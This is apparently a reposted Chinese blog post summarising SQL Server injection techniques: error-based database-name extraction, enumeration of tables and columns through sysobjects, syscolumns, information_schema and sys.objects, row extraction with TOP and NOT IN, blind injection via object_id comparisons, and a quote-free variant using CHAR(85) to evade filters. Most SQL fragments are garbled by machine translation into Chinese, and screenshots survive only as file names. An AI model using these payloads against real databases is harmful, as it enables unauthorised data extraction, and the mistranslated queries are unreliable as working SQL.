SQL服务器攻击总结-注入

查库
选择convert(int,db_name())
sysobjects

查当前表id
,从sysobjects中选择id,xtype ='u'//此处要记录下数据库的id

syscolumns
查表对应的列
select * from syscolumns where id = xxxx //上面查到的id

1.PNG

从id = 2105058535的syscolumns中选择前1个名称并命名NOT IN(从id = 2105058535的syscolumns中选择前1个名称)//用TOP和NOT IN来限制数据

从test1选择TOP 1用户名,其中用户名NOT IN(从test1选择TOP 1用户名)

2.PNG

从test1选择TOP 1用户名,其中ID NOT IN(从test1选择TOP 0用户名)

information_schema
查表从information_schema.tables中选择table_name,其中table_schema ='dbo'

3.PNG

查列从information_schema.columns中选择column_name,其中table_name ='test1'

5.PNG

关于sys.objects合sys.columns
这两个表同样也可以拿来注入存在版本好像是sqlserver 2005版本以上就有之前项目遇到一个注入点但是sysobjects和information_schema给过滤刚好可以用这两个表来达到注入效果
7,PNG

77.PNG
通过object_id来获取列名
88.png

实际注入中很少联合查询的注入大多数都是盲注像盲注这种情况可以通过(从sys.objects中选择object_id,其中name ='XXX')> xxxx来判断对应表的object id

2:无单引号注入
之前一直没有考虑到单引号这一点最近项目遇到研究以下

首先是查sysobjectsburstid
从选择id(从sysobjects中选择xtype = CHAR(85)的id)作为b其中id> 2000000000
1.PNG

常见情况
从ID = 1的aab中选择*和(从xtype = CHAR(85)的sysobjects中选择id)> 10000000000
2.PNG

大概就是这样其他大同小异

猜你喜欢

转载自www.cnblogs.com/M0rta1s/p/11920866.html
今日推荐